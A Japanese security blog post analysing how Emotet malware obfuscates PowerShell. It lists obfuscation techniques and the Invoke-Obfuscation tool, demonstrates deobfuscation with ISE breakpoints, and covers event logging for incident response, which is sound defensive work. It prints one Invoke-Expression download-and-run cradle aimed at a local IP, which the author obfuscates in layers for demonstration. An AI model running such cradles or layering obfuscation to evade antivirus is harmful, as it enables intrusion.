[月次配信] PowerShellの難読化分析及び解読

#概要
PowerShellはシステムの関係者のために特別に設計されたWindowsのコマンドシェルである。Windows 10 Redstone 1703 Bild 2のアップデート後、コマンドプロンプト(cmd)がWindows PowerShellに変更された。
OSとプロセスを管理する機能の全般を制御できるAPIと単一関数コマンドツール(cmdlet, Command-Let)を持っているため、比較的に短いソースコードで効果的な性能を出せるPowerShellは攻撃者によってよく使用された。

PowerShellの代表的な脅威はコマンド制御(C2)サーバから追加不正コードをReflective DLL Injectionなどの様々な攻撃方法を使用して、システムメモリに直接アップロードさせるFileless Attackがある。PowerShellは2014年発見されたPoweliks不正コードが急増し、2017年の統計によると、PowerShellスクリプトの中で不正コードが95.4%[report from Symantec]に達する程、多くの不正コードが存在する。最近発生している新型コロナウィルスの案内文を騙ったEmotetの不正コードからPowerShellのスクリプトを取り出し、難読化及び解読に対して整理してみる。

#PowerShellの難読化分析
##PowerShellの難読化方法
PowerShellはソースコードを直接実行するインタプリタ言語である。攻撃者は自分が作成した不正PowerShellのソースコードが公開されるのを最少化し、アンチウィルス製品や他のセキュリティソリューションを迂回して感染させるために多様な技術戦略を使っている。そこに伴って難読化の方法も発展しているが、特にPowerShellは難読化の方法が様々で、一つ以上の種類を重ねた難読化が可能である。

Emotetの不正コードは、追加不正コードをダウンロードするためにPowerShellスクリプトをbase64にエンコーディングして難読化し、挿入している。base64に難読化された不正コードはデコーディング方法で簡単に解読ができるため、不正コードのダウンロードURLが簡単にできる。
base64にエンコーディングされたPowerShellのスクリプトはEDRなどのアノマリ―検知セキュリティソリューションからは検知できるが、パターン基盤のアンチウィルスからは検知が難しいところを攻撃者は利用する。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/570011/8cb7a7f1-bebe-aa95-641d-304f455408aa.png)
【▲ Emotet不正コードに挿入されているPowerShellのスクリプト】

##PowerShellの難読化種類
PowerShellスクリプトの難読化はPowerShellの多様なcmdletとエンコーディング/圧縮/aliasなど様々な方法で具現でき、作る人の努力によってもっと複雑な難読化ができる。Invoke-Obfuscationというツールは単一、二重、複合難読化をサポートし、攻撃者が難読化が便利にてきるようにする代表的なツールである。PowerShellのいくつかの難読化方法を確認してみよう。

|          種類          |                      説明                      |
|:----------------------:|:----------------------------------------------:|
|       Random Case      |            大・小文字変換(例：tEsT)            |
|        Division        |             文字分割(例：'te'+'st')            |
|         Reorder        |     文字順番指定(例：’{1}{0}’ –f ‘te’,’st’)    |
|       Back Ticks       |         Back Tick文字追加(例：\`t\`e\`s\`t)        |
|      Call Operator     |      スクリプトブロック使用(例：& (test))      |
|       Whitespace       |       文字にスペース追加(例：’te’ +’st’)       |
|   Ascii Char Assigns   | アスキーコードしよう(例：[char]116+[char]101…) |
|         Replace        |  Replace機能しよう(例：’aesa’.replace(‘a’,’t’) |
|     Base64 Encoding    |      Base64エンコーディング(例：dGVzdA==)      |
| Invoke-Obfuscation.ps1 |             PowerSehll難読化ツール             |

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/570011/0dd145ef-9014-a8f8-7994-728f2b6c5bdc.png)
【▲ Invoke-Obfuscation.ps1 (参考：github.com/danielbohannon)】

##PowerShellの難読化例
代表的なPowerShellの難読化方法に対してWindows PowerShell ISE(統合スクリプティング環境)から作成される実行結果を見てみよう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/570011/f24a5e7c-64e7-990d-256e-61b100c455a6.png)
【▲ Random Case(大・小文字変換)】

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/570011/799de321-3ed4-213c-b93e-85c2f96929ee.png)
【▲ Division(文字分割)】

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/570011/f010c731-826a-b326-7e1f-5f0a6feedaa8.png)
【▲ Reorder(文字順番指定)】

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/570011/14ea9a6f-4174-4c2b-b618-e046e7d7f792.png)
【▲ Back Ticks(Back Tick文字追加)】

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/570011/d7e5d3d4-1882-af12-9606-df14bfa66371.png)
【▲ Call Operator(スクリプトブロック使用)】

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/570011/8666bcdd-908d-0440-13b5-0af1a4a5a29d.png)
【▲ Whitespace(文字にスペース追加)】

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/570011/d09eca2d-2ed8-1883-4995-bf1794758db3.png)
【▲ Ascii Char Assigns(アスキーコード使用)】

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/570011/efd7b19c-e1c1-f209-8c62-2a64744f6cd4.png)
【▲ Replace(Replace機能使用)】

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/570011/1643bdd8-a448-8605-8b0c-ce4f76818e7e.png)
【▲ Base64 Encoding(Base64エンコーディング)】

##PowerShellの重畳難読化
PowerShellに一つ以上の難読化方法を選択し、重畳されるように構成する方法を調べてみよう。
[Invoke-Expression (New-Object Net.WebClient).DownloadString("http://192.168.1.144/igloo.html")]
当該のコマンドは不正コードによく使用されるコマンドで、追加的なファイルをダウンロードするスクリプトである。当該のスクリプトを利用して重畳難読化を具現してみた。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/570011/9268c772-f202-ac72-e486-b1e6bc9aa0be.png)
【▲ 重畳難読化過程】

最終的に作られたPowerShellのスクリプトをPowerShell ISEからテストしてみた。難読化されたスクリプトが解読され、スクリプトが実行されて最終目的であるURLから文字列を取ってくる。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/570011/4bcd1bd5-2e62-0160-0e5a-ccdb5924bb44.png)
【▲ 難読化結果】

#PowerShell難読化実戦分析
##PowerShellスクリプト分析
分析に使用されたPowerShellスクリプトはEmotet不正コードに使用された不正スクリプトを抽出後、難読化テスト用として作り直した。

|              ファイル名             |      ファイルサイズ      | ファイルタイプ |                MD5               |
|:-----------------------------------:|:------------------------:|:--------------:|:--------------------------------:|
| downloaded macro for Emotet 643.doc | 133.63 KB (136832 bytes) |       DOC      | f1552dee475785a6fb942b1d7152c9a9 |
【▲ Emotet不正コード情報】

スクリプトは2つの難読化されたC2からファイルをダウンロードし、%TEMP%ディレクトリに実行ファイル(4z2.exe)を保存させる。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/570011/6e24112c-7d98-9de5-a445-31b2b90e794f.png)
【▲ テスト用のPowerShellスクリプト】

##PowerShellスクリプト解読
PowerShellの解読方法はWindows PowerShell ISEプログラムを使用してデバックする方法と専用のデバックプラグラムで実施するなど様々な方法がある。今回はWindows PowerShell ISEを利用してデバックする方法を紹介する。高い可視性と簡単にデバックができるWindows PowerShell ISEプログラムを使用するデバック方法を紹介する。

まず、Windows PowerShell ISEで分析するPowerShellスクリプトを読み取る。ISE画面から分析が必要なラインに右クリックし、Toggle Breakpointを設定する。その後、メニューのDebugからRun/Contiuneもしくは、F5を入力し、デバックを実施する。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/570011/1f651340-a7f9-35c0-a236-10a23afce8e5.png)
【▲ Toggle Breakpoint及びデバック】

Breakpointが設定されている状態でStep Overまたは、Step Intoでスクリプトの中で難読化されている文字列が解読される時点までデバックを実施する。その後、当該の変数を選択すると解読されている文字列の確認ができる。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/570011/89f94e5e-0107-df8c-cdf5-5c1fb12e201a.png)
【▲ 解読が完了された文字列】

Windows PowerShell ISEから提供しているコンソール画面でSet-PSBreakpoint Command-Letを使用して条件に合わせた変数や結果値を確認することもできる。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/570011/ee7f42ce-8e4a-a211-b2d7-1c734a900a32.png)
【▲ Set-PSBreakpointの使用】

#PowerShell Logging
PowerShell不正コードを実行時、Windows Eventを通じてPowerShellスクリプトを確認する方法を紹介する。インシデントを調査する際、PowerShellの不正コードの動作有無を確認することである。
まず、ポリシーからPowerShellスクリプトブロックの記録を有効にする。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/570011/9cfc75d7-2ad6-6497-c454-783afb0f965f.png)
【▲ イベントログの有効化】

イベントビューからPowerShellのイベントを介して実行されたPowerShellのスクリプトは確認できるが、解読されたスクリプトは確認ができないため、解読過程が必要である。

#まとめ
PowerShellスクリプト単独で攻撃する不正コードはなかなか存在しない。だが、OSとプロセスが管理できるPowerShellは文書タイプの不正コードと共に頻繁に使用されていて、特にReflective DLL Injection方法を使用したFileless Attack不正コードは分析及び調査が難しいため、難読化されたPowerShellスクリプトを迅速に解読し、追加対応が必要である。
分析実力が発展することによって不正コードの作成者がPowerShellのソースコード漏出を隠すためにPowerShellの難読化は段々知能的で多様な方法に進化している。

#参考資料
[1] Invoke-Obfuscation参考
https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1492186586.pdf
https://www.blackhat.com/docs/us-17/thursday/us-17-Bohannon-Revoke-Obfuscation-PowerShell-Obfuscation-Detection-And%20Evasion-Using-Science-wp.pdf
https://www.endgame.com/blog/technical-blog/deobfuscating-powershell-putting-toothpaste-back-tube
[2] PowerShellスクリプト、関数参照
https://ss64.com/ps
https://docs.microsoft.com/ja-jp/powershell/scripting/overview?view=powershell-7
[3] PowerShell Encoding & Decoding (Base64)
https://adsecurity.org/?p=478
[4] オンラインエンコーディング/デコーディングサイト
https://gchq.github.io/CyberChef/
[5] invoke-Obfuscation Tool
https://github.com/danielbohannon/Invoke-Obfuscation
[6] PowerShell不正コードサンプル
https://blog.malwarebytes.com/threat-analysis/2016/07/untangling-kovter/
https://www.virustotal.com/gui/file/877bfaeafabb1bedc7a0f4dce28722349f8c11eefa1c0c82db31321e149176bc/details
[7] PowerShellイベントビューアー設定
https://www.varonis.com/blog/powershell-obfuscation-stealth-through-confusion-part-i/